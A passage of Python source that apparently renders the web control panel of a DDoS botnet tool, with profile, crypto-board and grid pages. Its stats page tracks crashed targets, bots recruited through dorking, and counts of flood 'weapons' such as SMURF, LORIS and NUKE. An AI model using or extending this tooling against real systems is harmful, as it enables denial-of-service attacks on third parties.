  267. self.profile_icon = data["profile_icon"]
  268. self.profile_nick = data["profile_nick"]
  269. self.profile_nick.encode('utf-8')
  270. return self.pages["/header"] + """
  271. <script language="javascript">
  272. function BoardProfile() {
  273. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  274. }
  275. </script>
  276. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  277. <u>Configure profile:</u>
  278. <table cellpadding="2" cellspacing="2">
  279. <form method='GET'>
  280. <tr>
  281. <td> <u>OPERATOR/LINK:</u></td>
  282. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  283. </tr>
  284. <tr>
  285. <td> <u>NICKNAME:</u></td>
  286. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  287. </tr>
  288. </table>
  289. <hr>
  290. <input type="hidden" name="update" value="1">
  291. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  292. </form>
  293. """ + self.pages["/footer"]
  294. def html_grid_profile(self):
  295. try:
  296. with open(self.mothership_gridcfg_file) as data_file:
  297. data = json.load(data_file)
  298. except:
  299. if os.path.exists(self.mothership_gridcfg_file) == True:
  300. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  301. return
  302. else:
  303. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  304. with open(self.mothership_gridcfg_file, "w") as f:
  305. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  306. f.close()
  307. with open(self.mothership_gridcfg_file) as data_file:
  308. data = json.load(data_file)
  309. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  310. self.grid_contact = data["grid_contact"]
  311. self.grid_contact.encode('utf-8')
  312. self.grid_nick = data["grid_nick"]
  313. self.grid_nick.encode('utf-8')
  314. return self.pages["/header"] + """
  315. <script language="javascript">
  316. function GridProfile() {
  317. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  318. }
  319. </script>
  320. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  321. <u>Configure grid profile:</u><br>
  322. <table cellpadding="2" cellspacing="2">
  323. <form method='GET'>
  324. <tr>
  325. <td> <u>NICKNAME:</u></td>
  326. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  327. </tr>
  328. <tr>
  329. <td> <u>EMAIL/URL (CONTACT):</u></td>
  330. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  331. </tr>
  332. </table>
  333. <hr>
  334. <input type="hidden" name="update" value="1">
  335. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  336. </form>
  337. """ + self.pages["/footer"]
  338. def html_board_remove(self):
  339. try:
  340. with open(self.mothership_boardcfg_file, "w") as f:
  341. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  342. except:
  343. return
  344. return self.pages["/header"]+"""<script>
  345. window.setTimeout(window.close,1234)
  346. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  347. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  348. def html_grid_remove(self):
  349. try:
  350. with open(self.mothership_gridcfg_file, "w") as f:
  351. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  352. except:
  353. return
  354. return self.pages["/header"]+"""<script>
  355. window.setTimeout(window.close,1234)
  356. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  357. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  358. def html_stats(self):
  359. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + int(self.afraggle) + int(self.asniper) + int(self.aufoack) + int(self.auforst) + int(self.adroper) + int(self.aoverlap) + int(self.apinger) + int(self.aufoudp)
  360. if self.ranking == "Rookie": # Rookie
  361. your_ranking = "<font color='white'>Rookie [*]</font>"
  362. elif self.ranking == "Mercenary": # Mercenary
  363. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  364. elif self.ranking == "Bandit": # Bandit
  365. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  366. elif self.ranking == "UFOmmander!": # UFOmmander!
  367. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  368. elif self.ranking == "UFOl33t!": # UFOl33t!
  369. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  370. else:
  371. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  372. return self.pages["/header"] + """<script language="javascript">
  373. function Ranking() {
  374. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  375. }
  376. function Grid() {
  377. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  378. }
  379. function Board() {
  380. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  381. }
  382. function Links() {
  383. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  384. }
  385. function Streams() {
  386. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  387. }
  388. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  389. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  390. <center>
  391. <table cellpadding="5" cellspacing="5"><tr>
  392. <td><a href="javascript:alert('CR1SPR-9-AI says: This is your ship, """ + self.ranking + """... Not bad, Eeeeh!?.');"><img src='data:image/png;base64,"""+self.mothership_img+"""'></a></td><td>
  393. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit TV.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  394. </tr></table>
  395. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  396. <table border="1" cellpadding="5" cellspacing="10"><tr>
  397. <td><b><u>General:</u></b></td></tr>
  398. <tr>
  399. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  400. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  401. </table>
  402. <br>
  403. <table border="1" cellpadding="5" cellspacing="10"><tr>
  404. <td><b><u>Missions:</u></b></td></tr>
  405. <tr>
  406. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  407. <tr>
  408. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  409. <tr>
  410. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  411. <tr>
  412. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  413. </table>
  414. </td><td>
  415. <table border="1" cellpadding="5" cellspacing="10"><tr>
  416. <td><b><u>Botnet:</u></b></td></tr>
  417. <tr>
  418. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  419. <tr>
  420. <td>Scanner (new bots via dorking):</td>
  421. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  422. <tr>
  423. <td>Transferred (new bots via blackholes):</td>
  424. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  425. <tr>
  426. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  427. </table>
  428. <br>
  429. <table border="1" cellpadding="5" cellspacing="10"><tr>
  430. <td><b><u>Weapons (use):</u></b></td></tr>
  431. <tr>
  432. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  433. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  434. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  435. <tr>
  436. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  437. <td>FRAGGLE:</td><td align='right'><font color='cyan'>""" + str(self.afraggle) + """</font></td>
  438. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  439. <tr>
  440. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  441. <td>SNIPER:</td><td align='right'><font color='cyan'>""" + str(self.asniper) + """</font></td>
  442. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  443. <tr>
  444. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  445. <td>UFOACK:</td><td align='right'><font color='cyan'>""" + str(self.aufoack) + """</font></td>
  446. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  447. <tr>
  448. <td>UFORST:</td><td align='right'><font color='cyan'>""" + str(self.auforst) + """</font></td>
  449. <td>DROPER:</td><td align='right'><font color='cyan'>""" + str(self.adroper) + """</font></td>
  450. <td>OVERLAP:</td><td align='right'><font color='cyan'>""" + str(self.aoverlap) + """</font></td></tr>
  451. <tr>
  452. <td>PINGER:</td><td align='right'><font color='cyan'>""" + str(self.apinger) + """</font></td>
  453. <td>UFOUDP:</td><td align='right'><font color='cyan'>""" + str(self.aufoudp) + """</font></td>
  454. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td>
  455. </tr>
  456. </table>
  457. </td></tr></table>
  458. <br><hr>
  459. <div id="cmdOut"></div>
  460. """ + self.pages["/footer"]
  461. def hmac_sha1(self, key, msg):
  462. if len(key) > 20:
  463. key = sha1(key).digest()
  464. key += chr(0).encode('utf-8') * (20 - len(key))
  465. o_key_pad = key.translate(self.trans_5C)
  466. i_key_pad = key.translate(self.trans_36)
  467. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  468. def derive_keys(self, key):
  469. key = key.encode('utf-8')
  470. h = sha256()
  471. h.update(key)
  472. h.update('cipher'.encode('utf-8'))
  473. cipher_key = h.digest()
  474. h = sha256()
  475. h.update(key)
  476. h.update('mac'.encode('utf-8'))
  477. mac_key = h.digest()
  478. return (cipher_key, mac_key)
  479. def decrypt(self, key, text):
  480. KEY_SIZE = 32
  481. BLOCK_SIZE = 16
  482. MAC_SIZE = 20
  483. mode = AES.MODE_CFB
  484. try:
  485. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  486. except:
  487. try:
  488. padding = len(text) % 4
  489. if padding == 1:
  490. return ''
  491. elif padding == 2:
  492. text += b'=='
  493. elif padding == 3:
  494. text += b'='
  495. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  496. except TypeError:
  497. return None
  498. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  499. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  500. mac = iv_ciphertext_mac[-MAC_SIZE:]
  501. (cipher_key, mac_key) = self.derive_keys(key)
  502. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  503. if mac != expected_mac:
  504. return None
  505. aes = AES.new(cipher_key, mode, iv)
  506. self.decryptedtext = aes.decrypt(ciphertext)
  507. try:
  508. self.decryptedtext = self.decryptedtext.decode('utf-8')
  509. except:
  510. pass
  511. def encrypt(self, key, text):
  512. try:
  513. key = base64.b64encode(str(key))
  514. except:
  515. key = base64.b64encode(key.encode('utf-8'))
  516. c = Cipher(key, text)
  517. msg = c.encrypt()
  518. try:
  519. msg = msg.decode('utf-8')
  520. except:
  521. pass
  522. c.set_text(msg)
  523. self.encryptedtext = str(msg)
  524. def html_news(self):
  525. return self.pages["/header"] + """<script language="javascript">
  526. function Decrypt(){
  527. news_key=document.getElementById("news_key").value
  528. if(news_key == "") {
  529. window.alert("You need to enter a valid key (provided by someone)");
  530. return
  531. }else{
  532. params="news_key="+escape(news_key)
  533. runCommandX("cmd_decrypt",params)
  534. document.getElementById("nb1").style.display = "none";
  535. }
  536. }
  537. </script>
  538. <script language="javascript">
  539. function RefreshNews(){
  540. news_source=document.getElementById("news_source").value
  541. if(news_source == "") {
  542. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  543. return
  544. }else{
  545. params="news_source="+escape(news_source)
  546. runCommandX("cmd_refresh_news",params)
  547. document.getElementById("nb1").style.display = "none";
  548. setTimeout("location.reload()", 10000)
  549. }
  550. }
  551. </script>
  552. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  553. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  554. <br>
  555. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  556. <td>Blackhole/IP:</td>
  557. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  558. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  559. <hr>
  560. <table cellpadding="5" cellspacing="5"><tr>
  561. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  562. <table cellpading="5" cellspacing="10"><tr><td>
  563. <form method='GET'>
  564. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  565. </td></tr><tr><td>
  566. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  567. </form>
  568. </td></tr></table></td></tr></table>
  569. <hr><br>
  570. </center>
  571. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  572. <div id="cmdOut"></div>
  573. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  574. """ + self.pages["/footer"]
  575. def html_missions(self):
  576. return self.pages["/header"] + """<script language="javascript">
  577. function Decrypt(){
  578. missions_key=document.getElementById("missions_key").value
  579. if(missions_key == "") {
  580. window.alert("You need to enter a valid key (provided by someone)");
  581. return
  582. }else{
  583. params="missions_key="+escape(missions_key)
  584. runCommandX("cmd_decrypt",params)
  585. document.getElementById("nb1").style.display = "none";
  586. }
  587. }
  588. </script>
  589. <script language="javascript">
  590. function RefreshMissions(){
  591. missions_source=document.getElementById("missions_source").value
  592. if(missions_source == "") {
  593. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  594. return
  595. }else{
  596. params="missions_source="+escape(missions_source)
  597. runCommandX("cmd_refresh_missions",params)
  598. document.getElementById("nb1").style.display = "none";
  599. setTimeout("location.reload()", 10000)
  600. }
  601. }
  602. </script>
  603. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  604. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  605. <br>
  606. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  607. <td>Blackhole/IP:</td>
  608. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  609. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  610. <hr>
  611. <table cellpadding="5" cellspacing="5"><tr>
  612. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  613. <table cellpading="5" cellspacing="10"><tr><td>
  614. <form method='GET'>
  615. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  616. </td></tr><tr><td>
  617. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  618. </form>
  619. </td></tr></table></td></tr></table>
  620. <hr><br>
  621. </center>
  622. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  623. <div id="cmdOut"></div>
  624. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  625. """ + self.pages["/footer"]
  626. def html_board(self):
  627. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  628. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  629. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  630. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  631. device_state = "OFF"
  632. device = "BOARD device: <font color='red'>OFF</font><br>"
  633. else:
  634. device_state = "ON"
  635. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  636. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  637. data = json.load(boardcfg_json_file)
  638. boardcfg_json_file.close()
  639. profile_token = data["profile_token"]
  640. profile_icon = data["profile_icon"]
  641. profile_nick = data["profile_nick"]
  642. self.profile_nick.encode('utf-8')
  643. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  644. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  645. if device_state == "OFF":
  646. board_filter = ""
  647. else:
  648. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  649. if device_state == "OFF":
  650. sync_panel = ""
  651. else:
  652. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  653. if device_state == "OFF":
  654. board_panel = ""
  655. else:
  656. with open(self.board_file) as f:
  657. for line in f:
  658. line = line.strip()
  659. self.board_warning += "\n" + " " + line + " " + "\n"
  660. f.close()
  661. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  662. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  663. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  664. if device_state == "OFF":
  665. remove_profile = ""
  666. else:
  667. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  668. return self.pages["/header"] + """<script language="javascript">
  669. function BoardProfile() {
  670. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  671. }
  672. function RemoveProfile() {
  673. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  674. }
  675. function Decrypt_board(){
  676. board_key=document.getElementById("board_key").value
  677. if (document.getElementById('filter_all').checked) {
  678. filter = document.getElementById('filter_all').value;
  679. }
  680. if (document.getElementById('filter_general').checked) {
  681. filter = document.getElementById('filter_general').value;
  682. }
  683. if (document.getElementById('filter_opsec').checked) {
  684. filter = document.getElementById('filter_opsec').value;
  685. }
  686. if (document.getElementById('filter_faq').checked) {
  687. filter = document.getElementById('filter_faq').value;
  688. }
  689. if (document.getElementById('filter_bugs').checked) {
  690. filter = document.getElementById('filter_bugs').value;
  691. }
  692. if (document.getElementById('filter_media').checked) {
  693. filter = document.getElementById('filter_media').value;
  694. }
  695. if(board_key == "") {
  696. window.alert("You need to enter a valid key (provided by someone)");
  697. return
  698. }else{
  699. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  700. runCommandX("cmd_decrypt_moderator_board",params)
  701. document.getElementById("nb1").style.display = "none";
  702. }
  703. }
  704. function OptionsCheck() {
  705. if (document.getElementById('read').checked) {
  706. document.getElementById('board_read').style.display = 'block';
  707. document.getElementById('board_send').style.display = 'none';
  708. document.getElementById('board_warning').style.display = 'none';
  709. }
  710. else if(document.getElementById('write').checked) {
  711. document.getElementById('board_send').style.display = 'block';
  712. document.getElementById('board_warning').style.display = 'block';
  713. document.getElementById('board_read').style.display = 'none';
  714. }
  715. }
  716. function Sync_panel(){
  717. document.getElementById("sync_panel_block").style.display = "block";
  718. }
  719. function SyncBoard(){
  720. document.getElementById('nb1').style.display = 'none';
  721. board_source=document.getElementById("board_source").value
  722. if(board_source == "") {
  723. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  724. return
  725. }else{
  726. params="board_source="+escape(board_source)
  727. runCommandX("cmd_sync_board",params)
  728. setTimeout("location.reload()", 10000)
  729. }
  730. }
  731. </script>
  732. <script language="javascript">
  733. function SendMessage() {
  734. board_source=document.getElementById("board_source_send").value
  735. board_key=document.getElementById("board_key").value
  736. stream_txt=document.getElementById("stream_txt").value
  737. board_selector=document.getElementById("board_selector");
  738. board_topic = board_selector.options[board_selector.selectedIndex].value;
  739. if(board_key == "") {
  740. board_key='"""+str(self.crypto_key)+"""';
  741. }else{
  742. if(stream_txt == "") {
  743. window.alert("You need to enter a message! (~ 1-140 characters)");
  744. return
  745. }else{
  746. if(board_source == "") {
  747. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  748. return
  749. }else{
  750. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  751. runCommandX("cmd_send_message_board",params)
  752. setTimeout("location.reload()", 10000)
  753. }
  754. }
  755. }
  756. }
  757. </script>
  758. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  759. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  760. <br>
  761. <center>
  762. <table cellpadding="5" cellspacing="5"><tr>
  763. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Crypto-Board!. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  764. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  765. </td></tr></table></tr></table>
  766. <hr><br>"""+board_panel+"""
  767. """ + self.pages["/footer"]
  768. def generate_grid(self):
  769. with open(self.grid_file) as f:
  770. for line in f:
  771. line = line.strip()
  772. f.close()
  773. mothership_members = 0 # mothership_members stats bonus
  774. unknown_members = 0 # unknown (or non decrypted) mothership members
  775. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>FRAGGLE:</u></td><td align='center'><u>SNIPER:</u></td><td align='center'><u>UFOACK:</u></td><td align='center'><u>UFORST:</u></td><td align='center'><u>DROPER:</u></td><td align='center'><u>OVERLAP:</u></td><td align='center'><u>PINGER:</u></td><td align='center'><u>UFOUDP:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  776. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  777. if grid_msg_sep in m:
  778. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  779. m = m.split(grid_msg_sep)
  780. mothership_members = mothership_members + 1
  781. grid_nickname = m[0][0:12]
  782. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  783. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  784. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  785. grid_totalchargo = m[2][0:4] # total chargo
  786. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  787. grid_dorking = m[3][0:4] # dorking
  788. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  789. grid_transferred = m[4][0:4] # transferred
  790. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  791. grid_maxchargo = m[5][0:4] # maxchargo
  792. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  793. grid_missions = m[6][0:4] # missions
  794. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
